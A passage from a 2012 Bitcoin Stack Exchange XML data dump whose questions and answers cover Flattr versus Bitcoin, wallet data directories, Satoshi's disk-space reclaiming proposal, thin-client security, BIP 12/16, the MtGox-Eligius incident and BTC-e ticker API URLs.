sixth item, my current impression is that it is not (easily) possible to achieve such a content index in a decentral, peer 2 peer way, the bittorrent or bitcoin way. Otherwise content indexes like torrent websites would probably already have implemented it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last item is something that's not possible with the current bitcoin protocol due to the time and hashing power needed to confirm a transaction and so far no way to speed this up without reducing security and keeping decentralisation has been found. However, although flattr has the possibility to instantly notice the flattring of something, they are not actually using it for a user's benefit as far as I know. Also, giving something back in return to the person just having flattred would probably be somehow contrary to flattr's philosophy, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So on the long run I only see the sixth point, the content hub, remaining a unique feature for flattr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite from that nearly any feature mentioned on for instance [weusecoins.com][4] or the ones listed below can be features unique to bitcoin, competing with flattr &lt;em&gt;if&lt;/em&gt; there were no / not enough unique features to flattr left in the future.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Does flattr complement bitcoin?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Today, bitcoin and flattr do complement each other. Flattr needs to receive its funds from somewhere and bitcoin can technically offer a value transfer for such a use-case at least as good as paypal or whatever. Additionally bitcoin can offer the following to flattr compared to for instance paypal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;lower transaction fees&lt;/li&gt;&#xA;&lt;li&gt;easier account funding (e.g. no login required)&lt;/li&gt;&#xA;&lt;li&gt;resistent against blockings and censorship (against both flattr and its users)&lt;/li&gt;&#xA;&lt;li&gt;independance from other payment service providers&lt;/li&gt;&#xA;&lt;li&gt;possibility to prove correctness of transaction flows, certainity for both creators and donators that there is no fraud&lt;/li&gt;&#xA;&lt;li&gt;no risk of chargebacks for flattr and the content creators&lt;/li&gt;&#xA;&lt;li&gt;bitcoin might be the only payment possibility for most people in some countries (e.g. any country minus [these][5] ones for paypal? also see [here][6])&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Whether in the future the remaining features (e.g. only the content hub/indexing?) of flattr over bitcoin would be enough to keep flattr attractive and allow a complementing relationship between flattr and bitcoin is something I cannot say yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Relevant Links:&lt;/strong&gt; &lt;a href=&quot;http://pastebin.com/E5iRbk0P&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/E5iRbk0P&lt;/a&gt;&#xA;(sry, I'm new here, spam protection prevented me from posting them all)&lt;/p&gt;&#xA;" OwnerUserId="921" LastActivityDate="2012-01-14T14:25:37.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2583" PostTypeId="2" ParentId="2580" CreationDate="2012-01-14T17:51:20.010" Score="4" Body="&lt;p&gt;The bitcoin startup argument &lt;code&gt;-datadir=&amp;lt;dir&amp;gt;&lt;/code&gt; allows you to specify a data directory, including the wallet file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That'll still require you to pass a custom argument I'm afraid. The config file is also in the data dir, hence there's a chicken-and-the-egg problem that makes it impossible to configure up ahead. &lt;strong&gt;Unless&lt;/strong&gt; you're savvy enough to change the default constant in the source and recompile, which might be okay since you're already running Linux.&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="132" LastEditDate="2012-01-15T13:53:24.833" LastActivityDate="2012-01-15T13:53:24.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2584" PostTypeId="1" AcceptedAnswerId="2589" CreationDate="2012-01-14T19:44:58.450" Score="17" ViewCount="3062" Body="&lt;p&gt;Some people are concerned about the scalability of Bitcoin. The blockchain already has reached nearly 1 GB to download and store, which is not exactly in the spirit of a modern thin client, especially in regards to mobile devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when consulting the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot;&gt;Satoshi Paper&lt;/a&gt;, it seems they already came up with a solution:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;7. Reclaiming Disk Space&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Once the latest transaction in a coin is buried under enough blocks,&#xA;  the spent transactions before it can be discarded to save disk space.&#xA;  To facilitate this without breaking the block's hash, transactions are&#xA;  hashed in a Merkle Tree [...], with only the root included in the&#xA;  block's hash. Old blocks can then be compacted by stubbing off&#xA;  branches of the tree. The interior hashes do not need to be stored.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A block header with no transactions would be about 80 bytes. If we&#xA;  suppose blocks are generated every 10 minutes, 80 bytes * 6 * 24 * 365&#xA;  = 4.2MB per year. With computer systems typically selling with 2GB of RAM as of 2008, and Moore's Law predicting current growth of&#xA;  1.2GB per year, storage should not be a problem even if the block headers must be kept in memory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this already implemented for the current version? &quot;4.2 MB per year&quot; suggests that no. Is it already on the roadmap? Have the developers met any unforeseen obstacles? Will the solution be as effective as promised?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-01-14T19:59:57.273" LastActivityDate="2019-03-15T13:24:07.010" Title="Is &quot;Reclaiming Disk Space&quot; already implemented? How effective will it be?" Tags="|blockchain|scalability|storage-footprint|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2585" PostTypeId="2" ParentId="2584" CreationDate="2012-01-14T20:37:50.340" Score="4" Body="&lt;p&gt;Currently there are no official lighweight clients like that available, nor are they in the making as far as I know. There are, however, a couple unofficial clients, like StrongCoin or Electrum, that hold even less data. Those are, however, working in a server-client mode, not peer-to-peer as the client described by Satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is quite possible that such a client will never be created, as storing just the block headers is a bit pointless in itself. You have to rely on the network providing you a valid block chain anyway, you don't get much out of storing the headers, and if lightweight Bitcoin clients relying on servers would become widely available and accepted, you could do with even less data.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-14T20:37:50.340" CommentCount="19" ContentLicense="CC BY-SA 3.0" />
  <row Id="2586" PostTypeId="2" ParentId="237" CreationDate="2012-01-14T20:53:54.127" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When I use bitcoin as a medium of exchange I have to be confident that the bitcoins will not change in value between the point I receive them and the point I spend them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really. Most methods of money exchange or transfer bear some costs or risks. Credit cards, for example, require fees (which are paid by the vendor of a good). If the price flictuation of bitcoin which happens during a transaction is small enough that it is more economical to use them than, than to ise other means, they are cheaper. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The duration of a transaction - that is, the time span between a buyer sending an amount and the vecdor beoing able to re-send that to an online monex exchanging services which pays that to his bank account - is around one hour. As credit card fees and costs are easily in the range of 5 % of a traded price, any volatilty which is less than that would still result in more economical transactions. However, quick changes om price are harder to handle - it is far more comfortable if the buyer can acquire his coins a few weeks in advance and the seller has several weeks of time. This a lower volatility is more comfortable for that.&lt;/p&gt;&#xA;" OwnerUserId="922" LastActivityDate="2012-01-14T20:53:54.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2587" PostTypeId="2" ParentId="13" CreationDate="2012-01-14T21:03:07.967" Score="2" Body="&lt;p&gt;Bitcoin is made for transactions over the net and thus it is ideal for selling information and intellectual or informational services. How such an economy could look like is uncertain. My guess is that because bitcoin make decentral structures possible, it could support more equal power and opportunities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am quite confident it would give many many people which are smart, well educated and live in regions with low wages new opportunities - think of all the intellectuals in the Arab world. Bitcoin has the potential to create a worldwide information and service economy. As these are valuable things I think this could be very positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin could make it also much easier to live from things like art and music.&lt;/p&gt;&#xA;" OwnerUserId="922" LastActivityDate="2012-01-14T21:03:07.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2588" PostTypeId="2" ParentId="2526" CreationDate="2012-01-14T23:06:54.483" Score="0" Body="&lt;p&gt;As it is already being &lt;a href=&quot;https://bitcointalk.org/index.php?topic=58243.0&quot; rel=&quot;nofollow&quot;&gt;discussed on the forum&lt;/a&gt;, the standard is currently not in use by anyone, so its implementation details can change over time.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-14T23:06:54.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2589" PostTypeId="2" ParentId="2584" CreationDate="2012-01-15T00:20:22.220" Score="14" Body="&lt;p&gt;&lt;em&gt;The blockchain already has reached nearly 1 GB to download and store,&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proposal in Satoshi's paper &lt;strong&gt;does not reduce the &lt;em&gt;download&lt;/em&gt; requirements&lt;/strong&gt;, only the &lt;em&gt;storage&lt;/em&gt; requirements (see &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=28633866&quot;&gt;this post&lt;/a&gt; to the bitcoin-dev mailing list).  Unless you are able to rely on some trusted third party, you still need to download &lt;em&gt;at least&lt;/em&gt; all of the block headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you download &lt;em&gt;only the headers&lt;/em&gt; and not the full blocks and treat &quot;buried X blocks deep&quot; as proof that a transaction is valid &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=28618979&quot;&gt;you are open to a new class of attacks&lt;/a&gt; that would not affect a normal full-chain client.  The normal client treats &quot;buried X blocks deep&quot; as proof that a transaction &lt;em&gt;will not be reversed&lt;/em&gt; later on -- the check to ensure that the transaction's &lt;em&gt;inputs are unspent&lt;/em&gt; is completely separate from this.  A thin client cannot check that a transaction's inputs are unspent because it has only the block headers -- it does not have a copy of the transactions themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most worrisome of these new attacks have to come from your ISP, but in this day of wi-fi cafes that isn't such a far-fetched scenario.  So, use at your own risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been picking away at &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security&quot;&gt;a wiki page&lt;/a&gt; dealing with all these issues.&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="405" LastEditDate="2012-01-15T00:42:10.627" LastActivityDate="2012-01-15T00:42:10.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2590" PostTypeId="1" CreationDate="2012-01-15T04:58:36.530" Score="7" ViewCount="227" Body="&lt;p&gt;Can you shutdown part way through synchronization process and start up again from the same point?  When opening bitcoin software again will the process start from where it left off or does it need to begin all over again?&lt;/p&gt;&#xA;" OwnerUserId="924" LastEditorUserId="5406" LastEditDate="2014-05-02T17:44:51.433" LastActivityDate="2014-05-02T17:44:51.433" Title="Can you shutdown part way through synchronization process and start up again from the same point?" Tags="|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2591" PostTypeId="2" ParentId="2590" CreationDate="2012-01-15T07:25:59.533" Score="3" Body="&lt;p&gt;Yes, you can, and that will work.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-01-15T07:25:59.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2592" PostTypeId="2" ParentId="2566" CreationDate="2012-01-15T07:28:41.993" Score="1" Body="&lt;p&gt;It is established by people posting buy and sell orders.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2012-01-15T07:28:41.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2594" PostTypeId="2" ParentId="2580" CreationDate="2012-01-15T07:45:08.343" Score="1" Body="&lt;p&gt;A solution has been discussed, but not implemented:&#xA; - &lt;a href=&quot;http://github.com/bitcoin/bitcoin/issues/68&quot; rel=&quot;nofollow&quot;&gt;http://github.com/bitcoin/bitcoin/issues/68&lt;/a&gt;  &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/287&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/pull/287&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-01-15T07:45:08.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2595" PostTypeId="1" AcceptedAnswerId="2597" CreationDate="2012-01-15T09:08:49.160" Score="6" ViewCount="1115" Body="&lt;p&gt;There is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=58579.0;viewResults&quot;&gt;a discussion&lt;/a&gt; about two different Bitcoin Improvement Proposals - BIP 12 and BIP 16, and probably only one of them is going to be included in Bitcoin 0.6 (miners will decided which by a majority vote of mining power). LukeJr proposed an alternative to BIP 16 called OP_CODEHASHCHECK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone summarize the core differences between the three proposals, and their respective advantages / disadvantages?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2306" LastEditDate="2014-12-13T05:51:22.537" LastActivityDate="2014-12-13T05:51:22.537" Title="What are the implications of BIP 12 vs BIP 16 and OP_CODEHASHCHECK?" Tags="|bip12|p2sh|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2596" PostTypeId="2" ParentId="2595" CreationDate="2012-01-15T09:36:47.410" Score="2" Body="&lt;p&gt;The biggest drawback of OP_EVAL (BIP 12) was making the scripting system used for transactions turing complete, thus blowing any attempt at static analysis out of the water.&#xA;This was regarded as a very serious issue and BIP12 has been pretty much shot and buried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2SH (BIP 16) is intended as another approach to the same problem of introducing multiple-key authorized transactions at protocol level. It is specifically designed (as the original scripting system was) not to be turing complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a lively discussion between the core developers and Luke-Jr who proposed using his own solution, OP_CODEHASHCHECK, instead of P2SH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the post for more detail.&lt;/p&gt;&#xA;" OwnerUserId="918" LastActivityDate="2012-01-15T09:36:47.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2597" PostTypeId="2" ParentId="2595" CreationDate="2012-01-15T09:46:12.233" Score="3" Body="&lt;p&gt;BIP 12 creates a new Script opcode which allows scripts to execute more script stored in a string (like &lt;em&gt;eval&lt;/em&gt; functions in other languages). There's not much debate about BIP 12: it will not be used. It's very complicated, it allows some looping (which Script should not support), and it makes it difficult to analyze scripts without executing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With BIP 16, scripts are allowed to execute scripts stored in a string one time (not recursively), and there are also other restrictions that eliminate all of the BIP 12 drawbacks mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CODEHASHCHECK does the same thing as BIP 16, but some technical differences make it arguably more elegant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these proposals are designed to solve the problem of how to allow &lt;em&gt;recipients&lt;/em&gt; to choose which restrictions to place on coins they receive at an address (two-factor authentication, etc.). Currently senders always define the restrictions on sent coins, which is inconvenient in many cases.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-01-15T09:46:12.233" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2598" PostTypeId="1" AcceptedAnswerId="2599" CreationDate="2012-01-15T12:51:35.603" Score="5" ViewCount="2219" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=58579.msg690179#msg690179&quot; rel=&quot;nofollow noreferrer&quot;&gt;From the forum&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Eligius already will accept any transaction, &amp;quot;standard&amp;quot; or not,&#xA;without bias.&lt;/p&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;p&gt;Indeed, and Eligius' willingness to do so indirectly cost MTGOX many&#xA;thousands of bitcoins when a software bug caused them to send some&#xA;weird transactions that Eligius mined.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Can anyone provide a reference that explain this incident? When did it occur?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-01-16T19:41:26.380" Title="When/How did Eligius &quot;indirectly cost MTGOX many thousands of bitcoins&quot;?" Tags="|mtgox|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2599" PostTypeId="2" ParentId="2598" CreationDate="2012-01-15T19:11:21.210" Score="4" Body="&lt;p&gt;It refers to an occurrence in October 2011 when someone sent a lot of bitcoins to an incorrect public address: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=50206&quot; rel=&quot;nofollow&quot;&gt;someone fucked up and lost ALOT of money&lt;/a&gt; . Casascius stated that he thinks it was done by Luke-Jr's Eligius mining pool: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=50206.msg598836#msg598836&quot; rel=&quot;nofollow&quot;&gt;Re: someone fucked up and lost ALOT of money&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The way I understand it, these transactions were nonstandard enough&#xA;  that normal miners and clients would already refuse to relay or&#xA;  process them (but will accept them in a mined block). And that the&#xA;  only way these got into a block was that he teamed up with Luke-Jr's&#xA;  Eligius mining pool which has been modified to explicitly allow these&#xA;  nonstandard transactions for a fee (or other negotiated arrangement).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Earlier from the same thread, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=50206.msg598227#msg598227&quot; rel=&quot;nofollow&quot;&gt;Re: someone fucked up and lost ALOT of money&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Maybe this helps. It seems MtGox made a mistake somewhere.&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;MagicalTux: that's a problem, but not the worst problem we ever faced&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;MagicalTux: all the broken withdraws have been re-issued&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;MagicalTux: just spent one week of BTC-only income&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="108" LastEditorUserId="575" LastEditDate="2012-01-16T06:25:01.703" LastActivityDate="2012-01-16T06:25:01.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2600" PostTypeId="2" ParentId="2590" CreationDate="2012-01-15T22:44:00.247" Score="4" Body="&lt;p&gt;Yes you can, as long as you don't close the client in some bizarre way (system crash, etc.). In such case, you can get a blockchain that will never synch (you'd have to delete it and start over). But in most cases, yes, you can close the client and start synchronization over without a problem.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-15T22:44:00.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2601" PostTypeId="2" ParentId="2563" CreationDate="2012-01-16T02:57:07.923" Score="0" Body="&lt;p&gt;JSON-RPC is simple and effective. I think most use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If people &lt;strong&gt;would&lt;/strong&gt; change it, it's most likely for efficiency. They'd most likely roll their own binary protocol, which we might very well know nothing about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible the miner is inside the client in which case it could get it's own work and wouldn't even need a protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could say why you want to know maybe I can give a more useful answer.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-01-16T02:57:07.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2602" PostTypeId="2" ParentId="1393" CreationDate="2012-01-16T07:53:35.070" Score="7" Body="&lt;p&gt;The URL to the api's for other currencies are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/1/ticker&quot;&gt;https://btc-e.com/api/2/1/ticker&lt;/a&gt; - BTC/USD&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/2/ticker&quot;&gt;https://btc-e.com/api/2/2/ticker&lt;/a&gt; - IXC/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/4/ticker&quot;&gt;https://btc-e.com/api/2/4/ticker&lt;/a&gt; - I0C/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/5/ticker&quot;&gt;https://btc-e.com/api/2/5/ticker&lt;/a&gt; - SC/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/6/ticker&quot;&gt;https://btc-e.com/api/2/6/ticker&lt;/a&gt; - SC/USD&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/7/ticker&quot;&gt;https://btc-e.com/api/2/7/ticker&lt;/a&gt; - GG/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/8/ticker&quot;&gt;https://btc-e.com/api/2/8/ticker&lt;/a&gt; - TBX/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/9/ticker&quot;&gt;https://btc-e.com/api/2/9/ticker&lt;/a&gt; - FBX/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/10/ticker&quot;&gt;https://btc-e.com/api/2/10/ticker&lt;/a&gt; - LTC/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/11/ticker&quot;&gt;https://btc-e.com/api/2/11/ticker&lt;/a&gt; - RUC/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/12/ticker&quot;&gt;https://btc-e.com/api/2/12/ticker&lt;/a&gt; - RUC/USD&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/13/ticker&quot;&gt;https://btc-e.com/api/2/13/ticker&lt;/a&gt; - NMC/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/14/ticker&quot;&gt;https://btc-e.com/api/2/14/ticker&lt;/a&gt; - LTC/USD&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/15/ticker&quot;&gt;https://btc-e.com/api/2/15/ticker&lt;/a&gt; - CLC/BTC&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btc-e.com/api/2/16/ticker&quot;&gt;https://btc-e.com/api/2/16/ticker&lt;/a&gt; - DVC/BTC&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the links below change the 1 to a number anywhere between 1-16 to match the category above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Api for trades: &lt;a href=&quot;https://btc-e.com/api/1/trades&quot;&gt;https://btc-e.com/api/1/trades&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Api for depth: &lt;a href=&quot;https://btc-e.com/api/2/1/depth&quot;&gt;https://btc-e.com/api/2/1/depth&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Api for ticker: &lt;a href=&quot;https://btc-e.com/api/2/1/ticker&quot;&gt;https://btc-e.com/api/2/1/ticker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By: dodoking&lt;/p&gt;&#xA;" OwnerUserId="926" LastEditorUserId="926" LastEditDate="2012-01-18T06:50:27.780" LastActivityDate="2012-01-18T06:50:27.780" CommentCount="2" CommunityOwnedDate="2012-01-18T06:50:27.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="2603" PostTypeId="1" AcceptedAnswerId="2856" CreationDate="2012-01-16T15:34:04.540" Score="6" ViewCount="346" Body="&lt;p&gt;Is the Bitcoin-related animation that appeared in &lt;a href=&quot;http://www.cbs.com/shows/the_good_wife/photos/80780/season-3-episode-13&quot;&gt;The Good Wife S03E13&lt;/a&gt;, quite similar to the one on &lt;a href=&quot;http://www.weusecoins.com/&quot;&gt;WeUseCoins&lt;/a&gt;, available anywhere on the internet in full?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2021-02-01T19:46:48.073" LastActivityDate="2021-02-01T19:46:48.073" Title="Bitcoin animation from The Good Wife S03E13" Tags="|promotion|pop-culture-references|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2604" PostTypeId="1" AcceptedAnswerId="2608" CreationDate="2012-01-16T17:00:25.803" Score="3" ViewCount="1219" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinmedia.com/the-second-bitcoin-whitepaper/&quot; rel=&quot;nofollow&quot;&gt;From this post&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our beloved Satoshi is on record that he doesn’t think it appropriate&#xA;  to embed data willy-nilly in the block-chain&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this claim true? If so, why did he object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's &quot;wrong&quot; in any sense to embed data in the blockchain, because you're essentially paying for it. Since the protocol allows it, it is a legitimate service.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-17T16:12:16.420" Title="Did Satoshi object to embedding data in the block chain? Why?" Tags="|blockchain|satoshi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2605" PostTypeId="2" ParentId="2604" CreationDate="2012-01-16T19:53:12.993" Score="3" Body="&lt;p&gt;I can't answer your questions about whether it's true and why.&lt;/p&gt;&#xA;&lt;p&gt;It's possible that he would've taken that stance because sensitive information could be put into the block chain. Consider the consequences if some of the following examples were included in the block chain (and thus stored on every PC running the client):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Diplomatic cables from Wikileaks&lt;/li&gt;&#xA;&lt;li&gt;Illegal pornography&lt;/li&gt;&#xA;&lt;li&gt;The name of someone who has name suppression granted by a court&lt;/li&gt;&#xA;&lt;li&gt;The private key for an important encryption algorithm (eg &lt;a href=&quot;http://en.wikipedia.org/wiki/AACS_encryption_key_controversy&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;While some activities making use of Bitcoin may be illegal in themselves in some countries, storing data such as the above in the blockchain would create additional legal problems in many countries.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-01-16T20:26:39.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2606" PostTypeId="1" CreationDate="2012-01-16T19:54:09.090" Score="8" ViewCount="1246" Body="&lt;p&gt;I have seen several folks selling &quot;bitcoins&quot; on Ebay and the like - but they are made of base metal and have no real connection with the bitcoin concept other than the symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if some number of bitcoins could be permanently assigned to a coin (i'd plan on about 10 bitcoins impressed into a one ounce silver round).  I'm thinking of having a public registry of bitcoins assigned permanently to individual coins.  Said bitcoins could be reassigned only in the instance of the &quot;surrender&quot; of said silver round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate the fact this reduces the portability of bitcoins, but it would be an interesting method of storing value.&lt;/p&gt;&#xA;" OwnerUserId="928" LastEditorUserId="78" LastEditDate="2012-01-16T20:06:22.220" LastActivityDate="2012-01-17T02:44:24.890" Title="Are there physical Bitcoin?" Tags="|currencies|physical-coins|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2607" PostTypeId="2" ParentId="2606" CreationDate="2012-01-16T20:02:50.730" Score="6" Body="&lt;p&gt;There absolutely are. As a matter of fact, Casascius &lt;a href=&quot;https://www.casascius.com/&quot;&gt;already offers&lt;/a&gt; a 10 BTC silver round in addition to his better-known 1 BTC brass coins and 25 BTC gold-plated brass coins. While not coins per se, the same principal allows for &lt;a href=&quot;http://bitbills.com/&quot;&gt;bitbills&lt;/a&gt; and other physical Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-01-16T20:08:59.673" LastActivityDate="2012-01-16T20:08:59.673" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2608" PostTypeId="2" ParentId="2604" CreationDate="2012-01-16T20:38:58.460" Score="6" Body="&lt;p&gt;He supported IsStandard, but he was not against small amounts of arbitrary data. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2162.msg28549#msg28549&quot;&gt;Satoshi said&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;why not make it easier on everyone and just allow say, 64 or 128 bytes of random data in a transaction?&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;That's already possible.  &lt;code&gt;&amp;lt;pubkey&amp;gt; OP_CHECKSIG.  &amp;lt;pubkey&amp;gt;&lt;/code&gt; can be 33 to 120 bytes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I also support a third transaction type for timestamp hash sized arbitrary data.  There's no point not having one since you can already do it anyway.  It would tell nodes they don't need to bother to index it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He always promoted 